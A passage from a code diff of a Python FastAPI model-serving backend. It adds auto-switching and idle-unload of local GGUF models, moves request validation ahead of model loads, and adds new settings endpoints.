core.inference.llama_cpp import LlamaServerNotFoundError native_grant_backed = False @@ -2948,6 +3363,13 @@ async def load_model( logger.info( f"Loaded GGUF model via llama-server: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash now, not only on the next poll. + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() + # A plain load advertises its own identifier; auto-switch overwrites + # this with the repo id right after _load_model_impl returns. + llama_backend._openai_advertised_id = None # Audio detection moved into load_model under _serial_load_lock (#5642). _gguf_audio = llama_backend._audio_type @@ -3049,6 +3471,13 @@ async def load_model( logger.info( f"Loaded model: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash: a manual load supersedes an idle-freed + # GGUF, so the next /v1 request must not resurrect it. Mirror the GGUF branch + # above; without this a non-GGUF load leaves a stale stash until the idle + # poll clears it (and never, while idle-unload is off). + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() # Load inference configuration parameters inference_config = load_inference_config(config.identifier) @@ -3379,6 +3808,10 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge Unload a model from memory. Routes to the correct backend (llama-server for GGUF, Unsloth otherwise). """ + # A deliberate unload means "stay unloaded": drop any idle reload stash so the + # next /v1 request can't resurrect this model. The idle loop unloads via the + # backend directly (not this route), so clearing here never fights keep-warm. + from core.inference.llama_keepwarm import note_model_unloaded try: # Check if the GGUF backend has this model loaded or is loading it. llama_backend = get_llama_cpp_backend() @@ -3387,13 +3820,17 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge or is_registered_native_path_label(llama_backend.model_identifier, request.model_path) or not llama_backend.is_loaded ): + # A manual unload is a deliberate user action: tear down now even if a + # request is mid-stream (only the automatic idle loop defers to it). llama_backend.unload_model() + note_model_unloaded() logger.info(f"Unloaded GGUF model: {request.model_path}") return UnloadResponse(status = "unloaded", model = request.model_path) # Otherwise, unload from Unsloth backend backend = get_inference_backend() backend.unload_model(request.model_path) + note_model_unloaded() logger.info(f"Unloaded model: {request.model_path}") return UnloadResponse(status = "unloaded", model = request.model_path) @@ -3802,10 +4239,25 @@ async def generate_audio( raise HTTPException(status_code = 400, detail = "No user message found.") text = last_user_msg["content"] + # Restore an idle-evicted GGUF before selecting a backend: this path is + # keep-warm-tracked but had no reload hook, so a standalone idle TTL could + # unload an audio GGUF the next request then failed to restore. Validation + # above ran first, so an invalid request never triggers a reload. + # + # Reload-only on purpose: a local GGUF's audio-input capability is not a cheap + # pre-load probe (the companion mmproj signal can't tell an audio projector + # from a vision one, and codec-based TTS ships no projector at all), so passing + # the client model through the resolver could load a text- or vision-only target + # and evict the working audio model before the audio backend check fails. Only + # the idle-stash restore runs here; switching TTS models is an explicit /load. + await _maybe_auto_switch_model(_RELOAD_ONLY_MODEL, request, current_subject) + # Pick backend — both return (wav_bytes, sample_rate) llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded and getattr(llama_backend, "_is_audio", False): - model_name = public_model_id(llama_backend.model_identifier) + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend) gen = lambda: llama_backend.generate_audio_response( text = text, audio_type = llama_backend._audio_type, @@ -4831,6 +5283,12 @@ async def openai_chat_completions( # ── External provider routing ──────────────────────────────── # encrypted_api_key is optional -- local providers (llama.cpp / vLLM / Ollama) may run without auth. if payload.provider_id or payload.provider_type: + # External provider: this request won't touch the local GGUF, so drop it + # from the keep-warm count or its in-flight stream would falsely block a + # concurrent local auto-switch with model_switch_busy. + from core.inference.llama_keepwarm import untrack_current_request + + untrack_current_request(request.scope) # Bypass Permissions suppresses the confirm gate, so do not reject a # request that sets both flags (effective confirm is then False). if ( @@ -4884,6 +5342,95 @@ async def openai_chat_completions( ), ) + # Reject a system-only chat before any automatic load so an invalid request + # never swaps or reloads the resident model (as /responses and /messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + # Parse once and reuse below. + _pre_parsed = None + _needs_vision = False + if _automatic_model_load_may_run(): + _pre_parsed = _extract_content_parts(payload.messages) + if not _pre_parsed[1]: + raise HTTPException( + status_code = 400, detail = "At least one non-system message is required." + ) + # Reject confirm-without-stream local tool requests before the switch: the + # local tool path requires stream=true for the confirm gate, so this shape + # is invalid and must not evict the resident model first. Mirror that path's + # enablement exactly (_effective_enable_tools honors a CLI --enable-tools + # policy hard-override; mcp_enabled opens the tool loop on its own but still + # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced + # request would slip past this guard and only 400 after the swap. + from state.tool_policy import get_tool_policy as _get_confirm_tool_policy + + _confirm_cli_policy = _get_confirm_tool_policy() + if ( + payload.confirm_tool_calls + and not payload.bypass_permissions + and not payload.stream + and ( + _effective_enable_tools(payload) + or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False) + or bool(payload.enabled_tools) + or bool(payload.tools) + or bool(payload.openai_code_exec_container_id) + or bool(payload.anthropic_code_exec_container_id) + ) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "confirm_tool_calls requires stream=true for local tool execution.", + status = 400, + code = "invalid_request_error", + param = "confirm_tool_calls", + ), + ) + # Reject a malformed tool_choice forcing object before the switch: a + # {"type": "function", "function": {}} with no name would otherwise be + # forwarded to llama-server and rejected only after the model swapped. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_fn = _tc.get("function") + _tc_name = _tc_fn.get("name") if isinstance(_tc_fn, dict) else None + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # Reject an oversized audio upload before the switch: the size cap is a + # cheap, target-independent length check, so a too-large payload must not + # load a GGUF only to 413 afterward (the decode itself stays post-switch to + # avoid decoding a valid upload twice). + if payload.audio_base64 and len(payload.audio_base64) > _MAX_AUDIO_B64_CHARS: + raise HTTPException(status_code = 413, detail = "Audio file is too large (max ~25 MB).") + # Reject streaming n>1 before the switch: only the non-streaming GGUF path + # returns multiple choices, so stream=true + n>1 is invalid on every local + # serving path (the external path already rejected it before its early + # return). Both fields are known here, so a bad shape must not load model B + # only to 400. The non-streaming n>1 cases stay post-switch, where the + # serving path decides whether the shape is supported. + if payload.stream and _wants_multiple_choices(payload): + _raise_unsupported_n("streaming chat completions") + # Audio input rides the same companion-mmproj projector as vision, so a + # text-only target can't serve it either; guard both before the switch. + _needs_vision = ( + bool(_pre_parsed[2]) or _request_has_image(payload) or bool(payload.audio_base64) + ) + + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _needs_vision, + ) + llama_backend = get_llama_cpp_backend() using_gguf = llama_backend.is_loaded @@ -4939,8 +5486,9 @@ async def openai_chat_completions( return response if using_gguf: - # Echo a clean public id in the response, never the absolute .gguf path. - model_name = public_model_id(llama_backend.model_identifier) or payload.model + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend, payload.model) if getattr(llama_backend, "_is_audio", False): if _wants_multiple_choices(payload): _raise_unsupported_n("GGUF audio chat completions") @@ -5201,7 +5749,11 @@ async def openai_chat_completions( ) # ── Parse messages (handles multimodal content parts) ───── - system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) + # Reuse the pre-hook parse when auto-switch did it, else parse now. + if _pre_parsed is not None: + system_prompt, chat_messages, extracted_image_b64 = _pre_parsed + else: + system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) if not chat_messages: raise _reject(400, "At least one non-system message is required.") @@ -6508,10 +7060,13 @@ def _openai_model_objects() -> list[dict]: # Check GGUF backend llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded: + # Advertise the repo id an auto-switch load recorded, not the concrete + # on-disk load path, so /v1/models never leaks a host path or lists a + # model twice (path plus repo id). entry = { - # Public id, never the absolute .gguf path (which leaks the host - # filesystem layout); see core.inference.model_ids.public_model_id. - "id": public_model_id(llama_backend.model_identifier), + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path (which leaks the host filesystem layout). + "id": _llama_public_model_id(llama_backend), "object": "model", "created": _created, "owned_by": _OWNED_BY, @@ -6557,7 +7112,21 @@ def _openai_model_objects() -> list[dict]: # don't rescan the HF cache and models dirs on every request. _CATALOG_CACHE: dict = {"at": 0.0, "models": []} _CATALOG_TTL_S = 30.0 -_CATALOG_LOCK = asyncio.Lock() +# Per-loop lock (like _auto_switch_lock): a module-level asyncio.Lock ties its +# waiters to the loop that first awaited it, so a second event loop awaiting it +# in a multi-loop ASGI process can hang. The cache double-check keeps correctness +# even when two loops each scan once. +_catalog_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_catalog_locks_guard = threading.Lock() + + +def _catalog_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + with _catalog_locks_guard: + lock = _catalog_locks.get(loop) + if lock is None: + lock = _catalog_locks[loop] = asyncio.Lock() + return lock async def _cached_local_catalog() -> list: @@ -6574,7 +7143,7 @@ async def _cached_local_catalog() -> list: now = time.monotonic() if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: return _CATALOG_CACHE["models"] - async with _CATALOG_LOCK: + async with _catalog_lock(): now = time.monotonic() if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: return _CATALOG_CACHE["models"] @@ -6604,7 +7173,15 @@ async def _openai_catalog_objects() -> list[dict]: by_id[entry["id"]] = {**entry, "loaded": True} # Locally available (downloaded/cached) models that are not already loaded. - for info in await _cached_local_catalog(): + # Advertise only GGUF models /v1 can actually serve (llama.cpp). GGUF-ness is + # read from the on-disk files, not model_format: the HF-cache scanner leaves + # model_format unset for GGUF snapshots, so a model_format filter would drop + # every cached GGUF. The file checks run off the loop. + from core.inference.local_model_resolver import info_has_local_gguf + + catalog = await _cached_local_catalog() + servable = await asyncio.to_thread(lambda: [i for i in catalog if info_has_local_gguf(i)]) + for info in servable: cid = getattr(info, "model_id", None) or public_model_id(getattr(info, "id", None)) if not cid or cid in by_id: continue @@ -6648,29 +7225,43 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge from core.inference.model_ids import model_id_matches # Loaded models resolve without a catalog scan (the common case); only build - # the full catalog -- which may hit the filesystem -- for unloaded ids. - for entry in _openai_model_objects(): - if entry["id"] == model_id: + # the full catalog -- which may hit the filesystem -- for unloaded ids. Match + # case-insensitively, like the catalog loop below and the resolver's index. + _loaded = _openai_model_objects() + for entry in _loaded: + eid = entry["id"] + if isinstance(eid, str) and eid.lower() == model_id.lower(): return {**entry, "loaded": True} objects = await _openai_catalog_objects() for model in objects: - if model["id"] == model_id: + # Case-insensitive to match the resolver, which lowercases its index. + mid = model.get("id") + if isinstance(mid, str) and mid.lower() == model_id.lower(): return model # Backward compatibility: a client may still send the legacy raw identifier - # (e.g. an absolute .gguf path cached from an older /v1/models). Resolve it to - # the clean object so it keeps working, without ever echoing the path back. + # (e.g. an absolute .gguf path cached from an older /v1/models). Map it to the + # loaded model's object so it keeps working, without ever echoing the path back. + # Key each raw id to the SAME public id its /v1/models entry uses: an + # auto-switch load advertises a repo id while its identifier is the snapshot + # path, so public_model_id(path) would miss the advertised entry and 404 a + # model that is in fact loaded. llama_backend = get_llama_cpp_backend() backend = get_inference_backend() - for raw in ( - llama_backend.model_identifier if llama_backend.is_loaded else None, - backend.active_model_name or None, - ): - if raw and model_id_matches(model_id, raw): - clean = public_model_id(raw) - for model in objects: - if model["id"] == clean: - return model + raw_to_public: list[tuple[str, Optional[str]]] = [] + if llama_backend.is_loaded and llama_backend.model_identifier: + raw_to_public.append( + (llama_backend.model_identifier, _llama_public_model_id(llama_backend)) + ) + if backend.active_model_name: + raw_to_public.append( + (backend.active_model_name, public_model_id(backend.active_model_name)) + ) + for raw, clean in raw_to_public: + if model_id_matches(model_id, raw): + for entry in _loaded: + if entry["id"] == clean: + return {**entry, "loaded": True} raise HTTPException( status_code = 404, detail = openai_error_body( @@ -6695,6 +7286,16 @@ def _flatten_monitor_prompt(value) -> str: return str(value) +def _completions_prompt_present(body: dict) -> bool: + """Whether a completions body carries a usable ``prompt`` (non-empty).""" + prompt = body.get("prompt") + if isinstance(prompt, str): + return prompt != "" + if isinstance(prompt, (list, tuple)): + return len(prompt) > 0 + return prompt is not None + + @router.post("/completions") async def openai_completions(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6704,13 +7305,39 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge when a GGUF model is loaded. """ llama_backend = get_llama_cpp_backend() + + # Reject a request with no prompt before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/embeddings already + # validate before switching). Gate on every automatic-load trigger. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_prompt = _pre.get("prompt") + if _pre_prompt is not None and not isinstance(_pre_prompt, (str, list, tuple)): + # An object/number prompt is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'prompt' must be a string or array.") + if not _completions_prompt_present(_pre): + raise HTTPException(status_code = 400, detail = "'prompt' is required for completions.") + + # Opt-in: load the requested local GGUF before the loaded-state check. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() if body.get("max_tokens") is None: body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR target_url = f"{llama_backend.base_url}/v1/completions" @@ -6719,7 +7346,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -6866,6 +7493,16 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge # ===================================================================== +def _embeddings_input_present(body: dict) -> bool: + """Whether an embeddings body carries a usable ``input`` (non-empty).""" + inp = body.get("input") + if isinstance(inp, str): + return inp != "" + if isinstance(inp, (list, tuple)): + return len(inp) > 0 + return inp is not None + + @router.post("/embeddings") async def openai_embeddings(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6877,13 +7514,42 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get error (expected). """ llama_backend = get_llama_cpp_backend() + # Reject a request with no input before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/responses/messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_input = _pre.get("input") + if _pre_input is not None and not isinstance(_pre_input, (str, list, tuple)): + # An object/number input is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'input' must be a string or array.") + if not _embeddings_input_present(_pre): + raise HTTPException(status_code = 400, detail = "'input' is required for embeddings.") + # Embeddings is a model-bearing inference path too, so honor auto-switch. Unlike + # vision (cheaply pre-checked via a companion mmproj), GGUF pooling capability has + # no reliable pre-load probe -- is_embedding_model keys on a sentence-transformers + # modules.json a bare .gguf never has -- so embeddings auto-switch is best-effort: + # a non-embedding target switches, then llama-server returns a no-pooling error. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() target_url = f"{llama_backend.base_url}/v1/embeddings" prompt_text = _flatten_monitor_prompt(body.get("input", "")) monitor_id = None @@ -6891,7 +7557,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -7356,10 +8022,13 @@ def _build_chat_request( ``/v1/chat/completions`` client-side pass-through picks them up unchanged. """ chat_kwargs: dict = dict( - model = payload.model, messages = messages, stream = stream, ) + # Only forward an explicitly set model so an omitted Responses model stays + # reload-only when openai_chat_completions re-checks on the non-streaming path. + if "model" in payload.model_fields_set: + chat_kwargs["model"] = payload.model if payload.temperature is not None: chat_kwargs["temperature"] = payload.temperature if payload.top_p is not None: @@ -7613,12 +8282,11 @@ async def _responses_stream( # Clean public id for every response envelope. Prefer the loaded model's # id so the stream agrees with /v1/models, chat/completions and the # non-streaming twin; fall back to a sanitized payload.model (a legacy - # raw .gguf path is stripped, never echoed back). - _clean_model = ( - public_model_id(getattr(llama_backend, "model_identifier", None)) - or public_model_id(payload.model) - or payload.model - ) + # raw .gguf path is stripped, never echoed back). Use the advertised-id + # helper, not the raw identifier: after an auto-switch to a cached HF GGUF + # the identifier is the snapshot path while the repo id lives in + # _openai_advertised_id, so the raw form would stream a snapshot basename. + _clean_model = _llama_public_model_id(llama_backend, payload.model) or payload.model full_text = "" full_reasoning = "" input_tokens = 0 @@ -8261,6 +8929,56 @@ async def openai_responses( messages = _normalise_responses_input(payload) if not messages: raise HTTPException(status_code = 400, detail = "No input provided.") + # System/developer-only input normalises to a non-empty list, so reject it + # before the switch (mirror chat) or an invalid request evicts the resident + # model only for the chat handler to 400 it as having no non-system message. + if not any(m.role not in ("system", "developer") for m in messages): + raise HTTPException(status_code = 400, detail = "At least one non-system message is required.") + # Reject a malformed function tool before any model load, mirroring the + # /v1/chat/completions check, so an invalid request never switches the model. + # Built-in tools (web_search, mcp, ...) carry no name and are dropped later. + for _tool in payload.tools or []: + if not isinstance(_tool, dict) or _tool.get("type") != "function": + continue + _name = _tool.get("name") + if not isinstance(_name, str) or not _name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tools': each function tool must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tools", + ), + ) + # Reject a forcing-function tool_choice with no name before the switch (mirror + # chat), so a malformed request can't evict the model. Responses forces with + # {"type": "function", "name": "X"}; the streaming path would otherwise forward + # the bad choice and the non-streaming path only 400s after the swap. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_name = _tc.get("name") + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # After input validation so a 400 never triggers a load. Switches the + # streaming path; non-streaming re-checks via the idempotent chat handler. + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to 400 afterwards + # (the non-streaming chat re-check short-circuits on _already_serving). + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _messages_have_image(messages), + ) if payload.stream: monitor_id = None @@ -8397,6 +9115,28 @@ def _normalize_anthropic_openai_images(openai_messages: list[dict], is_vision: b return has_image +def _validate_anthropic_client_tools(tools) -> None: + # Reject malformed client tools before any model load, so an invalid request + # never evicts the loaded model. AnthropicTool relaxed name/input_schema to + # Optional for server tools, so the converter silently drops incomplete + # entries; surface them as 400 here. A `type` field marks a server-tool + # declaration (unrecognized server tools are no-ops); anything else without + # input_schema or name is malformed. + for tool in tools or []: + td = tool if isinstance(tool, dict) else tool.model_dump() + name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") + if schema is None and not isinstance(type_, str): + raise HTTPException( + status_code = 400, + detail = f"Tool {name!r} is missing required field 'input_schema'.", + ) + if schema is not None and (not isinstance(name, str) or not name): + raise HTTPException( + status_code = 400, + detail = "Client tool is missing required field 'name'.", + ) + + @router.post("/messages/count_tokens") async def anthropic_count_tokens( payload: AnthropicMessagesRequest, @@ -8410,6 +9150,19 @@ async def anthropic_count_tokens( tokenizer, and returns ``{"input_tokens": int}`` only. Unlike /messages, max_tokens is NOT required here. """ + # Reject malformed tools before the switch, like /messages, so an invalid + # count request can't evict the loaded model. + _validate_anthropic_client_tools(payload.tools) + # Count with the requested model's tokenizer, like the sibling /messages. + # Carry the vision guard too: an image count naming a text-only GGUF must not + # evict a loaded vision model for a swap that can't serve the request. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + llama_backend = get_llama_cpp_backend() if not llama_backend.is_loaded: raise HTTPException( @@ -8476,14 +9229,20 @@ async def anthropic_messages( JSON). """ llama_backend = get_llama_cpp_backend() - if not llama_backend.is_loaded: + + # Default-off parity: with no automatic load possible and nothing loaded, 503 + # before any request-shape check, exactly as the pre-feature endpoint did. When + # an automatic load can run (auto-switch or a standalone idle TTL), fall through + # so validation runs before the reload hook gets a chance to restore the model. + if not llama_backend.is_loaded and not _automatic_model_load_may_run(): raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) - # max_tokens is a required field on the Anthropic Messages API; real - # Anthropic returns a 400 invalid_request_error when it is omitted. + # max_tokens is a required field on the Anthropic Messages API; real Anthropic + # returns a 400 invalid_request_error when it is omitted. Validate before + # auto-switch so a rejected request never triggers a model load. if payload.max_tokens is None: raise HTTPException( status_code = 400, @@ -8494,13 +9253,47 @@ async def anthropic_messages( ), ) - # Clean public id so /v1/messages never echoes the local .gguf path (and a - # legacy raw path sent as payload.model is sanitized rather than returned). - model_name = ( - public_model_id(getattr(llama_backend, "model_identifier", None)) - or public_model_id(payload.model) - or payload.model + # Reject malformed client tools before any model load (see helper), so an + # invalid request never evicts the loaded model. + _validate_anthropic_client_tools(payload.tools) + + # Mixing Anthropic server tools with custom client tools is unsupported (the + # server-tool loop can't relay client functions back to the caller). Reject + # before the switch too -- it depends only on the payload -- so an invalid + # request never evicts the loaded model. Reused below for tool routing. + requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) + _has_client_tool = any( + (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None + for t in payload.tools or [] ) + if requested_studio_tools and _has_client_tool: + raise HTTPException( + status_code = 400, + detail = ( + "Mixing Anthropic server tools (e.g. web_search_20250305) " + "with custom client tools in a single request is not " + "supported. Send them in separate requests." + ), + ) + + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to hit the vision + # guard (_normalize_anthropic_openai_images) below after the load. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + if not llama_backend.is_loaded: + raise HTTPException( + status_code = 503, + detail = "No GGUF model loaded. Load a GGUF model first.", + ) + + # Advertised repo id after an auto-switch load, else a clean public id, never + # the local .gguf path (and a legacy raw path in payload.model is sanitized). + model_name = _llama_public_model_id(llama_backend, payload.model) message_id = f"msg_{uuid.uuid4().hex[:24]}" # ── Translate Anthropic → OpenAI ────────────────────────── @@ -8547,51 +9340,8 @@ async def anthropic_messages( # 2. tools=[...] only → client-side pass-through (standard Anthropic behavior) # 3. neither → plain chat # The server-side agentic loop doesn't support multimodal input -- matches - # the `not image_b64` gate in /v1/chat/completions. - requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) - - # Reject malformed client tools at the boundary. AnthropicTool was relaxed - # to Optional[name]/Optional[input_schema] for server tools, so the - # converter silently drops incomplete entries -- surface them as 400. A - # `type` field marks a server-tool declaration per spec (unrecognized server - # tools are accepted as no-ops); anything else without input_schema or name - # is malformed and must not be allowed to silently flip execution mode or - # disable tool calling. - for tool in payload.tools or []: - td = tool if isinstance(tool, dict) else tool.model_dump() - name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") - if schema is None and not isinstance(type_, str): - raise HTTPException( - status_code = 400, - detail = f"Tool {name!r} is missing required field 'input_schema'.", - ) - if schema is not None and (not isinstance(name, str) or not name): - raise HTTPException( - status_code = 400, - detail = "Client tool is missing required field 'name'.", - ) - - # Detect client tools from the raw payload (presence of input_schema) so the - # mixed-mode check below isn't fooled by a name collision with a server-tool - # alias that the post-filter would silently drop. - _has_client_tool = any( - (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None - for t in payload.tools or [] - ) - - # The server-tool agentic loop executes tools in-process and can't relay - # unknown client functions back to the caller, so mixed requests would - # silently drop the client tools. Reject explicitly instead. - if requested_studio_tools and _has_client_tool: - raise HTTPException( - status_code = 400, - detail = ( - "Mixing Anthropic server tools (e.g. web_search_20250305) " - "with custom client tools in a single request is not " - "supported. Send them in separate requests." - ), - ) - + # the `not image_b64` gate in /v1/chat/completions. requested_studio_tools and + # the mixed-mode rejection were computed before the switch above. openai_client_tools = [ tool for tool in anthropic_tools_to_openai(payload.tools or []) diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py index 1fa9055d3a..5acf039401 100644 --- a/studio/backend/routes/preview.py +++ b/studio/backend/routes/preview.py @@ -17,7 +17,11 @@ from loggers import get_logger from auth.authentication import get_current_subject from auth.storage import DEFAULT_ADMIN_USERNAME from models.inference import ChatCompletionRequest, LoadRequest -from routes.inference import load_model, openai_chat_completions +from routes.inference import ( + disable_openai_auto_switch_for_request, + load_model, + openai_chat_completions, +) from state.tool_policy import tools_force_disabled from utils.client_ip import client_ip from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint @@ -155,6 +159,9 @@ async def _serve_chat( path = _resolve_or_4xx(run, checkpoint) is_lora = (path / "adapter_config.json").exists() payload = _sanitize_preview_payload(payload, is_lora) + # Preview always serves the pinned checkpoint it loads below; a public caller's + # `model` field must never trigger an OpenAI auto-switch to another GGUF. + disable_openai_auto_switch_for_request(getattr(request, "scope", None)) await _preview_lock.acquire() keep_locked = False try: diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py index f582500f7f..0694ae31e0 100644 --- a/studio/backend/routes/settings.py +++ b/studio/backend/routes/settings.py @@ -32,6 +32,16 @@ from utils.helper_precache_settings import ( helper_model_disabled_by_env, set_helper_precache_enabled, ) +from utils.openai_auto_switch_settings import ( + DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, + DEFAULT_OPENAI_AUTO_SWITCH_ENABLED, + get_auto_unload_idle_seconds, + get_model_overrides, + get_openai_auto_switch_enabled, + get_stored_auto_unload_idle_seconds, + set_model_override, + set_openai_auto_switch, +) from utils.preview_sharing_settings import ( DEFAULT_PREVIEW_SHARING_ENABLED, get_preview_sharing_enabled, @@ -66,6 +76,33 @@ class HelperPrecacheResponse(BaseModel): disabled_by_env: bool +class OpenAIAutoSwitchPayload(BaseModel): + enabled: bool + auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0) + + +class OpenAIAutoSwitchResponse(BaseModel): + enabled: bool + auto_unload_idle_seconds: int + default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + # True when the idle-unload loop will actually unload (effective TTL > 0). With + # UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled + # is false, so the UI can show idle-unload as active instead of "needs enable". + idle_unload_active: bool = False + + +class ModelOverridePayload(BaseModel): + model_id: str = Field(..., min_length = 1) + llama_extra_args: list[str] = Field(default_factory = list) + # ge=1: 0 is not a valid sequence length, and the setter drops a falsy value, + # so reject it at the boundary instead of accepting then silently discarding it. + max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576) + + +class ModelOverridesResponse(BaseModel): + overrides: dict[str, dict] + + def _upload_limit_response(limit_mb: int) -> UploadLimitResponse: return UploadLimitResponse( max_upload_size_mb = limit_mb, @@ -128,6 +165,70 @@ def update_helper_precache( return _helper_precache_response(enabled) +@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def get_openai_auto_switch( + current_subject: str = Depends(get_current_subject), +) -> OpenAIAutoSwitchResponse: + return OpenAIAutoSwitchResponse( + enabled = get_openai_auto_switch_enabled(), + auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(), + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def update_openai_auto_switch( + payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject) +) -> OpenAIAutoSwitchResponse: + try: + enabled, idle_seconds = set_openai_auto_switch( + payload.enabled, payload.auto_unload_idle_seconds + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."), + event = "settings.update_openai_auto_switch_failed", + log = logger, + ) from exc + return OpenAIAutoSwitchResponse( + enabled = enabled, + auto_unload_idle_seconds = idle_seconds, + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse) +def get_openai_auto_switch_overrides( + current_subject: str = Depends(get_current_subject), +) -> ModelOverridesResponse: + return ModelOverridesResponse(overrides = get_model_overrides()) + + +@router.put("/openai-auto-switch/overrides", 